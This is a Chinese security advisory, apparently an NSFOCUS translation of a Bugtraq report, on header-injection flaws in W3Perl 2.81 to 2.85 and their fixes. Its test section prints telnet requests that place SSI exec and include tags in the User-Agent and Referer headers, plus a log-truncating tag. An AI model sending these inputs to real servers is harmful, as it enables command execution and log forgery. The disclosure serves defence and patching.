首页 -> 安全研究

安全研究

安全漏洞
W3Perl HTML协议头处理漏洞

发布日期:2002-01-23
更新日期:2002-02-04

受影响系统:

W3Perl W3Perl 2.85
W3Perl W3Perl 2.84
W3Perl W3Perl 2.83
W3Perl W3Perl 2.82
W3Perl W3Perl 2.81
不受影响系统:

W3Perl W3Perl 2.86
描述:

BUGTRAQ  ID: 3939

W3Perl是种免费发放的开源软件,用于WEB统计并以HTML格式显示日志文件。用户可以选日志显示的详细程度。W3Perl能够运行于绝大多数Unix/Linux系统上,也能运行于微软Windows NT/2000上。

W3Perl实现上存在一些问题,会导致某些安全漏洞。

远程攻击者可能利用这些漏洞在主机上执行命令、伪造日志、窃取用户Cookies等。


<*来源:zeno (bugtraq@cgisecurity.net
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-01/0286.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


zeno (bugtraq@cgisecurity.net)提供了如下测试方法:

1) SSI危险

# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0
Referer: <!--#virtual include="somefile.log"-->
User-Agent: <!--#exec cmd="/bin/id"-->


HTTP/1.1 200 OK
Date: Mon, 17 Dec 2001 20:39:02 GMT
Server:
Connection: close
Content-Type: text/html

#

攻击者在Referrer和User-Agent域中插入SSI标签,最终保存在日志文件中。显示日志时,如果服务器方软件解释SSI标签,就可能导致文件包含、命令执行。

2) 伪造日志

攻击者利用类似方式插入</html>标签,对于那些不懂得查看源文件的的普通用户来说,将看到截断后的日志。

3) 窃取Cookies

# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0
Referer: <javascript-that-is-evil-so-there's-no-need-for-examples>
User-Agent: </html>

当受害用户查看这些内容的时候,可能导致自己的cookies泄露。



建议:

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 过滤元字符 <>":;'}{][|\)(*&^%$#!`

* 用&gt &lt替换<>

厂商补丁:

W3Perl
------
目前厂商已经在新版本的软件中修复了这个安全问题,请到厂商的主页下载:

http://www.w3perl.com/softs/index.html



浏览次数:3330
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障